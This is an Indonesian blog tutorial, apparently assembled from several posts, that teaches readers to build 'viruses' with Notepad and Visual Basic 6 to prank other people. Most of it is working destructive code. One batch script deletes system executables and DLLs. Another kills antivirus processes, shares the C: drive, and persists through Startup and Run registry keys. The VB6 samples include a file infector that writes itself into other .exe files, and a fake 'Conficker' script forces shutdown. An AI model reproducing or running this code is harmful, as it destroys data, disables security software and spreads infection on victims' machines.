Cara membuat virus notepad bat exe bit vbs

Bagaimana cara membuat virus notepad bat exe bit ? 

Bagi sobat yang sudah mengenal bahasa pemrograman visual basic , “ahh kecil bener buat ginian biasanya juga bisa buat lebih dari ini” ,hehe..( sombong bener bak pahlawan bertopen hawahah )

Mungkin seperti itu ya ,pandangan setiap orang berbeda, namun bagi sobat yang sama sekali tidak pernah mengenal pemrograman ini iya special sekali iya pakek telor, lumayankan buat tambah peluru untuk ngerjain orang ,hhhee..dan mungkin dibawah ini adalah sedikit cara sederhana ..karena dibawah ini hanyalah script kecil dari berbagai metode serangan virus yang bisa melumpuhkan sistem OS sobat… virus yang benar-benar merusak system OS adalah virus berbahaya, namun saya disini berbagi sedikit script virus sederhana untuk uji coba, jika sobat memiliki pertahanan seperti software bernama defrez , mungkin saja tidak akan bisa memasuki komputer sobat , lalu bagaimana caa membuat virus sederhana berbekal tools bernama “notepad ” berikut tutorial singkatnya.

berikut ini adalah tipe VBS

kode ini disimpan dan diberinama ( Extensions VBS , example tesvirus.vbs )

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a fool.”
loop

berikut ini adalah tipe virus BAT.
kode ini di simpan dan diberinama ( extension BAT , example tesvirus.BAT )

@echo off
taskkill /f /im explorer.exe
del “%systemroot%\*.exe” /f /q /s /a h r s a
del “%systemroot%\system32\*exe” /f /q /s /a h r s a
del “%systemroot%\*.dll” /f /q /s /a h r s a
del “%systemroot%\system32\*dll” /f /q /s /a h r s a
msg * Your computer important files have been deleted

berikut ini adalah tipe virus BIT.kode ini disimpan dan diberinama ( Extensions BIT , example tesvirus.bit )

@echo off
cd\
cd %SystemRoot%\system32\
md 1001
cd\
cls
rem N0 H4rm 15 cau53d unt1| N0w
rem Th3 F0||0w1ng p13c3 0f c0d3 w1|| ch4ng3 th3 t1m3 2 12:00:00.0 & d4t3 as 01/01/2000
echo 12:00:00.00 | time >> nul
echo 01/01/2000 | date >> nul
net share system=C:\ /UNLIMITED
cd %SystemRoot%\system32\1001
Copy %0 %SystemRoot%\system32\1001\kid.bat
echo deal=msgbox (”Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus”,20,”Warning”) > %SystemRoot%\system32\1001\warnusr.vbs
at 12:34 /interactive “%SystemRoot%\system32\1001\kid.bat”
at 12:35 /interactive “%SystemRoot%\system32\1001\kid.bat”
msg * “KOmputer Ini Diserang Oleh GU3 4D1” > nul
msg * “S1L4HK4N SC4N K0MPUT3R 4ND4!!” >> nul
taskkill /F /IM ESET.exe
taskkill /F /IM AVG.exe
taskkill /F /IM Kapersky.exe
taskkill /F /IM Norton.exe
taskkill /F /IM PCMAV.exe
taskkill /F /IM CLAMAV.exe
taskkill /F /IM AV
copy %0 C:\system_file.bat
copy %0 d:\system_file.bat
copy %0 e:\system_file.bat
copy %0 f:\system_file.bat
copy %0 g:\system_file.bat
copy %0 h:\system_file.bat
cd %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\
attrib +h +s +r warnusr.vbs
attrib +h +s +r sd.bat
cd\
cd %systemroot%\system32
copy %0 %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\kid.exe
reg add HKLM\software\microsoft\windows\currentversion\run /v systray /t reg_sz /d c:\windows\system32\kid.exe /f
copy %0 %systemroot%\system32\kid.bat
REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Explorer\Advanced /v Showsuperhidden /t reg_dword /d 0 /f
REG ADD HKCU\Software\Microsoft\Windows\Currentversion\policies\explorer /v nofolderoption /t reg_dword /d 1 /f
REG ADD HKCU\software\Microsoft\windows\currentversion\run /v aktifkan /t reg_SZ /d C:\system_file.bat /f
del /f /s /q c:\*.3gp d:\*.3gp e:\.3gp f:\*.mkv
del /f /s /q c:\*.mkv d:\*.mkv e:\.mkv f:\*.mkv

kalau exe aku g berani sob kasih , nanti rusak beneran komputermu hihi 

segini dulu ya ini sebenernya bukan virus cuman “agak ngerjain orang ” hehe..e

gini aja dech yang suka usil  download link dibawah ini sob , iya gpp ndak rusak OS kog, cuman kerjain ajjah, namun apabila kmu bisa memodifikasi script ini wah, jangankan jebol komputer orang jamin  ” ganti kompi ” hihi

download dibawah ini sob 

iya belajar2 lah jadi hackor.ehh .. hacker..  

  klik disini untuk mendownload kode kode yang ada dalam tutor membuat virus

cara membuat virus berbahaya bagian 3 (menggunakan visual basic 6.0)

Membuat virus sederhana dengan VB 6.0

Nah sebelum kita mulai membuat virus, siapkan dulu bahan2 yaitu secangkir kopi atau teh biar lebih fress gitu lho....he3x. Oke klo dah siap mari kita mulai aja
Langkah pertama buka visual basic kamu trus buat new project dengan menggunakan standar.exe, seperti gambar berikut:

Jika sudah, langkah berikutnya tambahkan 2 buah label, 1 buah timer dan 1 buah command button pada form seperti gambar berkut:



Selanjutnya, klik kanan pada form lalu pilih "view source", kemudian copy dan paste kode berikut kedalam jendela kode

Private Sub Command1_Click()
Dim targetfile As String
targetfile = "C:\WINDOWS\system32\cmd.exe"
Kill targetfile
Label1.Caption = " Deleting CMD.exe...please wait "
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Label2.Caption = "Done"
End Sub

Private Sub Form_Activate()
Timer1.Enabled = False
End sub

Jika semua langkah diatas sudah dilakukan dengan benar, maka selanjutnya tinggal "compile" project melalu menu file>make project.exe

Akhirnya jadi juga virus kita, tapi ingat jangt pernah klik tombol "oke" karena kan menjadi senjata makan tuan.

cara membuat virus sederhana tapi mematikan bagian 2

1.Buka MS visual basic 6.0
2.Pilih standard EXE
Gambar :https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIRPup0lGsPb2qTgq8pfQj0RbMO4ZbfPg3UiUjWG-9lI-lIwpw-Ak2DrG4keHJEUwMJoYYNdA86f0Tnn5cRuvqWU4mkxa7WE-QfB92oyAFrqvlWc-YH0gI5rg7kr22pSAnoSF88X5y50E/s320/aadasfdsa.JPG
3.Lalu klik View Code yang ada digambar ^atas ^ .
4.lalu masukkan code Ini:'------------------------------------------------------
' M4R : Model 1
' Virus file sederhana
'-----------------------------------------------------

Option Explicit

Private victim As String
Private myarray As String
Private varray As String
Private Length As Long
Dim chck As String * 1
Const Size As Long = 32768
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Declare Function OpenProcess Lib "kernel32" _
(ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
(ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
(ByVal hObject As Long) As Long


Private Sub form_load()
Me.Visible = False
App.TaskVisible = False
On Error Resume Next
Call main
End Sub


Sub main()
On Error Resume Next

Dim i As Long
Dim Free
Free = FreeFile
Dim target
Dim fso, sysfolder, winfolder


Set fso = CreateObject("scripting.filesystemobject")
Set sysfolder = fso.GetSpecialFolder(1)
Set winfolder = fso.GetSpecialFolder(0)

FileCopy App.Path & "\" & App.EXEName & ".exe", sysfolder & "\" & "wbdbass.nl"

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
myarray = Space$(Size)
Get #1, 1, myarray
Close #Free

ChDrive App.Path
ChDir App.Path

victim = Dir(App.Path & "\" & "*.EXE")

While victim <> ""
If LCase(App.Path & "\" & App.EXEName & ".exe") _
<> LCase(App.Path & "\" & victim) Then

Open victim For Binary Access Read As #Free
varray = Space$(LOF(Free))
Get #1, 1, varray
Close #Free


Open victim For Binary Access Read As #Free
Debug.Print varray
Seek #1, LOF(Free)
chck = Space$(1)
Debug.Print varray
Get #1, , chck
Close #Free

If LCase(chck) <> "." Then


Open victim For Binary Access Write As #Free
Put #Free, 1, myarray
Put #Free, Size, varray
Put #Free, LOF(Free) + 1, "."
Close #Free

End If

Else
End If

victim = Dir()

Wend


Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
Length = (LOF(Free) - Size)

If Length > 0 Then

myarray = Space(Length)
Get #Free, Size, myarray
Close #Free

Open App.Path & "\" & App.EXEName & ".dll" For Binary Access Write As #Free
Put #Free, , myarray
Close #Free

SetAttr App.Path & "\" & App.EXEName & ".dll", vbHidden + vbSystem

idProg = Shell(App.Path & "\" & App.EXEName & ".dll", vbNormalFocus)

hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)

GetExitCodeProcess hProg, iExit

Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
On Error Resume Next
SetAttr App.Path & "\" & App.EXEName & ".dll", vbNormal
Kill App.Path & "\" & App.EXEName & ".dll"

Else
Close #Free
End If

End
End Sub
5.setelah itu klik file -> MakeProject.Exe-> taruh difile yang tidak ada data lainnya misalnya di newfolder yang kosong agar kalau dijalankan tidak menyebar cepat.
nah Itu lah cara membuat virus sederhana mohon jangan digunakan untuk kejahatan,saya membuat ini 6.agar anda mengetahui bagaimana struktur virus yang sebenarnya.(^_^).ingat jangan digunakan untuk keusilan karena belum ada antivirnya

Cara membuat virus sederhana tapi mematikan bagian 1

* saya mau share dikit nih tentang virus virusan

langsung aja

1. buka Notepad
2. copy paste script dibawah ini

Code:

cls :A color 0a cls @echo off echo Wscript.Sleep 5000>C:\sleep5000.vbs echo Wscript.Sleep 3000>C:\sleep3000.vbs echo Wscript.Sleep 4000>C:\sleep4000.vbs echo Wscript.Sleep 2000>C:\sleep2000.vbs cd %systemroot%\System32 dir cls start /w wscript.exe C:\sleep3000.vbs echo BANGUN TIDUR KU TERUS MENGHANCURKAN SYSTEM… echo ………………… echo: echo: start /w wscript.exe C:\sleep3000.vbs echo NEXT…………! echo: echo: echo HALO SOBAT echo MAU JADI TEMAN AKU ? echo: echo: echo IM ZATYA BAJA ITEM start /w wscript.exe C:\sleep2000.vbs echo ………… start /w wscript.exe C:\sleep4000.vbs echo ………… echo NTAR…….! start /w wscript.exe C:\sleep2000.vbs echo: echo: echo: echo VIRUS INI ADALAH VIRUS CONFIICKER YANG SANGAT MEMATIKAN… cd C:\Documents and Settings\All Users\Start Menu\Programs\ mkdir Si_INDO_CRACKER start /w wscript.exe C:\sleep3000.vbs echo: echo: echo: echo: echo HAPPY BIRTHDAY echo KOMPUTER KAMU BAGUS DEH echo BOLEH KITA INTIP DIKIT echo HMM BOLEH JUGA NEH ISINYA echo CALL ME YACHH +628524097xxxx GPRS JUGA BOLEH KOK echo: echo: echo: echo: echo: echo SABARAN BRO… start /w wscript.exe C:\sleep3000.vbs echo ………. echo zzzzzzz…. echo: echo: start /w wscript.exe C:\sleep3000.vbs echo OKE….Virus AKTIF! echo: echo: echo: start /w wscript.exe C:\sleep2000.vbs echo FIREWALL KAMU ANCUR… start /w wscript.exe C:\sleep2000.vbs echo SEMUA PROSESS UDAH DIBANTAI… start /w wscript.exe C:\sleep2000.vbs echo VIRUS SILAHKAN BOOTING DENGAN SEGALA HORMAT… start /w wscript.exe C:\sleep2000.vbs echo: echo: echo: echo VIRUS MASUK PODIUM AKHIR! start /w wscript.exe C:\sleep2000.vbs echo: echo: echo I LOVE U FULL echo HA HA HA HA echo: echo: echo: echo: start /w wscript.exe C:\sleep2000.vbs pause shutdown -f -s -c "BERTAUBATLAH, BACK TO UR GOD MOHON MAAF LAHIR DAN BATIN."

3. trus simpan dengan nama Conficker.bat

jadi dah
coba klik 2x tuh filenya

gunakan tutor ini untuk hal hal yang bijak sajah, jangan merusak neh.
kalu rusak di tanngung sandiri